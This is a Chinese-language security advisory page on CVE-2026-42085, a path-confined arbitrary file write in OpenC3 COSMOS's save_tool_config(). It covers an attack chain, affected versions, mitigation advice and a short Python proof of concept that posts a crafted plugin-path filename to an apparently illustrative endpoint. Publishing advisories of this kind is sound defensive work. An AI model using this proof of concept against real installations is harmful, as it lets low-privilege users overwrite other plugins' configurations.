IPBUF安全漏洞报告
English
CVE-2026-42085 CVSS 4.3 中危

CVE-2026-42085 OpenC3 COSMOS任意文件写入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42085
漏洞类型
任意文件写入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenC3 COSMOS

相关标签

任意文件写入路径遍历OpenC3 COSMOS配置覆盖

漏洞概述

OpenC3 COSMOS在6.10.5和7.0.0-rc3版本之前存在安全漏洞。该漏洞源于save_tool_config()函数的设计缺陷,允许攻击者通过精心构造的配置文件名,在共享的/plugins目录树内任意位置保存工具配置文件。尽管系统缓解了标准路径遍历攻击,但由于所有插件共享同一根目录,攻击者仍能创建任意文件结构或覆盖现有配置文件,从而影响系统完整性。

技术细节

该漏洞的核心在于OpenC3 COSMOS的save_tool_config()函数未能正确限制文件保存路径。虽然代码实现了路径规范化以防止标准的“../”路径遍历攻击,将文件名转换为绝对路径,但它忽略了一个关键的安全上下文:所有插件都驻留在同一个共享的/plugins根目录下。攻击者只需要拥有低权限账户(PR:L),即可利用这一设计缺陷。通过发送包含特定路径分隔符或相对路径(在规范化后仍指向/plugins子目录)的恶意文件名,攻击者可以诱导应用程序在非预期的目录中创建文件。攻击者可以利用这一点覆盖其他插件的配置文件,破坏服务配置,甚至可能通过覆盖特定配置文件来执行进一步的操作。这本质上是一种受限的任意文件写入漏洞。

攻击链分析

STEP 1
获取访问权限
攻击者注册或获取一个OpenC3 COSMOS的低权限账户。
STEP 2
构造恶意请求
攻击者分析插件目录结构,并构造一个包含目标路径(如其他插件目录)的文件名,准备恶意配置内容。
STEP 3
发送利用请求
攻击者向save_tool_config()接口发送POST请求,利用漏洞将文件写入共享的/plugins目录树下的任意位置。
STEP 4
实现攻击目标
系统处理请求并覆盖或创建指定文件,可能导致其他插件功能异常或配置被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example endpoint) target_url = "http://localhost:2900/api/tool_config" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Malicious filename designed to write into a shared plugin directory # Exploits the flaw by targeting a path within /plugins malicious_filename = "target_plugin/malicious_config.txt" # Payload content to be written into the file config_content = "[MALICIOUS]\ncommand = pwned" payload = { "filename": malicious_filename, "config": config_content } try: response = requests.post(target_url, data=payload, auth=(username, password)) if response.status_code == 200: print("[+] PoC successful: File likely written to /plugins/{}".format(malicious_filename)) else: print("[-] PoC failed with status code: {}".format(response.status_code)) except Exception as e: print("[-] Error: {}".format(e))

影响范围

OpenC3 COSMOS < 6.10.5
OpenC3 COSMOS < 7.0.0-rc3

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应严格限制对插件配置管理接口的访问权限,并加强对/plugins目录的文件完整性监控,防止未授权的文件覆盖操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表